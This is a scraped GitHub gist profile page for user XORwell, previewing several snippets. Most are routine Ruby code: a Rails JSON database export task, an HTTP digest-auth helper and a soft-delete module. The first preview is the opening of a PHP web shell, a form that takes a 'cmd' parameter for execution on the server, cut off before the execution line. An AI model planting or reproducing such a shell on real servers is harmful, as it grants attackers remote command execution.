Skip to content

Instantly share code, notes, and snippets.

View XORwell's full-sized avatar
:octocat:
XORwell@github:~$ profile

Christian Nennemann XORwell

:octocat:
XORwell@github:~$ profile
View GitHub Profile
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@XORwell
XORwell / dump_db_to_json.rb
Created May 14, 2021 15:17 — forked from Ch4s3/dump_db_to_json.rb
Export local db to JSON and load that dump back to the db later
namespace :json do
desc 'Export all data to JSON files'
task :export => :environment do
Rails.application.eager_load!
ApplicationRecord.descendants.each do |model|
next if model.table_name.nil? || model.table_name == ''
begin
data = model.all
next if data == []
@XORwell
XORwell / net_http_digest_auth.rb
Created October 11, 2020 19:17 — forked from KINGSABRI/net_http_digest_auth.rb
HTTP Digest Auth for Ruby's net/http
# Support for http digest auth
# Discovered here: http://johan.bingodisk.com/public/code/net_digest_auth.rb
require 'digest/md5'
require 'net/http'
module Net
module HTTPHeader
@@nonce_count = -1
CNONCE = Digest::MD5.new("%x" % (Time.now.to_i + rand(65535))).hexdigest
@XORwell
XORwell / soft_delete.rb
Last active December 19, 2015 05:59 — forked from brianjlandau/soft_delete.rb
rails 4 flavored version
module SoftDelete
extend ActiveSupport::Concern
included do
define_model_callbacks :soft_delete
define_model_callbacks :recover
default_scope where(deleted_at: nil)
class_eval do
class << self
alias_method :with_deleted, :unscoped